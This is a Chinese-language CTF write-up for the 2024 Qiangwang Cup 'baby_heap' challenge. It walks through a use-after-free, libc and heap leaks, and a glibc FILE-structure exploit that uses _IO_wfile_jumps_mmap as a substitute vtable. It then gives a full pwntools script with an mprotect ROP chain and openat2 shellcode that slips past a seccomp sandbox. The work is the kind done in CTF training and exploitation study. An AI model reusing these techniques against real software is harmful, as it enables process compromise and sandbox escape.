2024 强网杯baby_heap详解
FrEdoM 发表于 山东 CTF 360浏览 · 2024-11-05 11:52

强网杯baby_heap详解

详细流程

给了个任意地址写,但最后也没有用到


然后禁用了openat,所以用openat2来打沙箱


常见的四个功能都有


add也只是限制0x500到0x5ff

delete有uaf

show可以泄露很多东西

然后比较有特点的就是这个函数

这个函数清除了一些内存区域的信息,后面进行动调发现是把_IO_wfile_jumps内容删除了

所以如果这个题目要打apple2的话,需要找一条替代的跳表
本来的调用链为

_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

我们找一条替代的就可以


_IO_wfile_jumps_mmap和_IO_wfile_jumps_maybe_mmap都可以用
然后后面就是正常打链子了
申请多一点,直接泄露heap和libc即可

add(0x548)
add(0x548)
add(0x538)
delete(1)
add(0x558)
delete(3)
show(1)
ru("The content is here \n")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21b120
leak('libc_base ',libc_base)
r(10)
heap_base = u64(r(6).ljust(8,'\x00'))-0x1950
leak("heap_base ",heap_base)

之后就是写链子和沙箱,这里用mprotect去开权限,然后别忘了把wfile换成_IO_wfile_jumps_mmap就可以

orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(orw_addr)
orw+=p64(rdi)+p64(leave_ret)
orw+=p64(rdi)+p64(heap_base)
orw+=p64(rsi)+p64(0x3000)
orw+=p64(rdx_r12)+p64(7)+p64(orw_addr)
orw+=p64(mprotect)
orw+=p64(rdi)+p64(0)
orw+=p64(rsi)+p64(orw_addr)
orw+=p64(rdx_r12)+p64(0x100)+p64(orw_addr+0x100)
orw+=p64(read_addr)
orw+=p64(jmp_rsi)


pay=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pay+=p64(0)*2+p64(0)+p64(orw_addr) 
pay+=p64(0)*4
pay+=p64(0)*3+p64(lock)
pay+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pay+=p64(0)*4
pay+=p64(0)+p64(wfile) 
pay+=p64(0)*0x1c+p64(chunk0+0xe0+0xe8) 
pay+=p64(0)*0xd+p64(magic_gadget)
pay+=orw
edit(1,pay)

在后续调用的时候,先输入shellcode

mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    push 3
    pop rdi
    push 0xFF 
    pop rdx
    mov rsi, rsp
    push SYS_read
    pop rax
    syscall  
    push 1
    pop rdi
    push 0xFF  
    pop rdx
    mov rsi, rsp
    push SYS_write
    pop rax
    syscall

然后后续直接jmp到shellcode的位置就行,这里我用的

0x00000000000519d1 : jmp rsi


之后就可以打印flag了

exp

# -*- coding: utf-8 -*-
import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')


add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('Enter your choice: \n',cho)

def add(size):
    choice(add_idx)
    sla('Enter your commodity size \n',size)

def delete(idx):
    choice(delete_idx)
    sla('Enter which to delete: \n',idx)

def show(idx):
    choice(show_idx)
    sla('Enter which to show: \n',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Enter which to edit: \n',idx)
    sa('Input the content \n',content)


add(0x548)
add(0x548)
add(0x538)
delete(1)
add(0x558)
delete(3)
show(1)

ru("The content is here \n")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21b120
leak('libc_base ',libc_base)
r(10)
heap_base = u64(r(6).ljust(8,'\x00'))-0x1950
leak("heap_base ",heap_base)

IO_list_all=libc.sym['_IO_list_all']+libc_base
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system'] 
environ = libc_base + libc.sym['_environ']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

wfile = libc_base + 0x217000
#wfile=libc_base+libc.sym['_IO_wfile_jumps']

rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
jmp_rsi = libc_base+0x00000000000519d1
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
syscall = libc_base + libc.sym['syscall']
syscall= libc_base + libc.sym['read'] + 0x10

open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
mprotect=libc.symbols['mprotect']+libc_base
lock =0x3ed8b0+libc_base

magic_gadget = libc_base + next(libc.search(asm('mov rbp, qword ptr [rdi + 0x48];mov rax, qword ptr [rbp + 0x18]')))


chunk0=heap_base+0x1950
orw_addr = heap_base+0x1b88



orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(orw_addr)
orw+=p64(rdi)+p64(leave_ret)
orw+=p64(rdi)+p64(heap_base)
orw+=p64(rsi)+p64(0x3000)
orw+=p64(rdx_r12)+p64(7)+p64(orw_addr)
orw+=p64(mprotect)
orw+=p64(rdi)+p64(0)
orw+=p64(rsi)+p64(orw_addr)
orw+=p64(rdx_r12)+p64(0x100)+p64(orw_addr+0x100)
orw+=p64(read_addr)
orw+=p64(jmp_rsi)


pay=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pay+=p64(0)*2+p64(0)+p64(orw_addr) 
pay+=p64(0)*4
pay+=p64(0)*3+p64(lock)
pay+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pay+=p64(0)*4
pay+=p64(0)+p64(wfile) 
pay+=p64(0)*0x1c+p64(chunk0+0xe0+0xe8) 
pay+=p64(0)*0xd+p64(magic_gadget)
pay+=orw
edit(1,pay)


add(0x568)
add(0x538)


sla(b'choice: \n',b'4')
shell = asm('''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    push 3
    pop rdi
    push 0xFF 
    pop rdx
    mov rsi, rsp
    push SYS_read
    pop rax
    syscall  
    push 1
    pop rdi
    push 0xFF  
    pop rdx
    mov rsi, rsp
    push SYS_write
    pop rax
    syscall

''')

print(shell)
p.send(shell)


itr()
附件:
0 条评论
某人
表情
可输入 255